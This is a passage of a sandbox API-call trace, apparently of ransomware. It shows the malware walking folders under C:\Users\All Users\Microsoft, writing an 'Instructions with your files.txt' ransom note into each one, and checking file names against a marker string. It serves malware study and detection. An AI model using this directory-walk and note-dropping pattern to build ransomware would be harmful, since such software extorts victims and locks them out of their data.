[0131.819] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.819] CloseHandle (hObject=0x110) returned 1
[0131.819] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.819] GetProcessHeap () returned 0x810000
[0131.819] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.819] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1
[0131.819] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome") returned 38
[0131.819] GetProcessHeap () returned 0x810000
[0131.820] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.820] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\*") returned 40
[0131.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.820] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\.") returned 40
[0131.820] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.820] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\..") returned 41
[0131.820] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.820] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\Instructions with your files.txt") returned 71
[0131.820] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.820] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
[0131.820] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs") returned 43
[0131.820] GetProcessHeap () returned 0x810000
[0131.820] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.820] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*") returned 45
[0131.820] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.820] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\.") returned 45
[0131.820] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.820] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\..") returned 46
[0131.820] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.820] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Instructions with your files.txt") returned 76
[0131.820] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.820] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb10e22e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.820] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Instructions with your files.txt") returned 76
[0131.820] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\logs\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\ehome\\logs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.821] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.821] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.822] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.822] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.822] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.822] CloseHandle (hObject=0x114) returned 1
[0131.822] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.822] GetProcessHeap () returned 0x810000
[0131.822] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.822] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xb10e22e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb10e22e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
[0131.822] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\Instructions with your files.txt") returned 71
[0131.822] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\eHome\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\ehome\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.822] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.823] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.823] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.823] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.823] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.823] CloseHandle (hObject=0x110) returned 1
[0131.824] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.824] GetProcessHeap () returned 0x810000
[0131.824] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.824] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
[0131.824] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer") returned 45
[0131.824] GetProcessHeap () returned 0x810000
[0131.824] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.824] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\*") returned 47
[0131.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.824] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\.") returned 47
[0131.824] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.824] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\..") returned 48
[0131.824] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1285200, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.824] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Instructions with your files.txt") returned 78
[0131.824] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.824] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1
[0131.824] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned 51
[0131.824] GetProcessHeap () returned 0x810000
[0131.824] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.824] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned 53
[0131.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.824] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\.") returned 53
[0131.824] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.824] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\..") returned 54
[0131.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1108440, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1108440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1
[0131.825] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned 76
[0131.825] GetProcessHeap () returned 0x810000
[0131.825] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.825] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*") returned 78
[0131.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1108440, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1108440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.825] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\.") returned 78
[0131.825] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xb1108440, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1108440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.825] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\..") returned 79
[0131.825] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1108440, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1108440, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1108440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.825] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Instructions with your files.txt") returned 109
[0131.825] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.825] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1108440, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1108440, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1108440, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.825] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Instructions with your files.txt") returned 109
[0131.825] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\event viewer\\views\\applicationviewsrootnode\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.825] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.826] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.826] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.826] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.826] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.826] CloseHandle (hObject=0x118) returned 1
[0131.826] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.827] GetProcessHeap () returned 0x810000
[0131.827] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.827] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1285200, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb1285200, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb1285200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.827] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\Instructions with your files.txt") returned 84
[0131.827] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
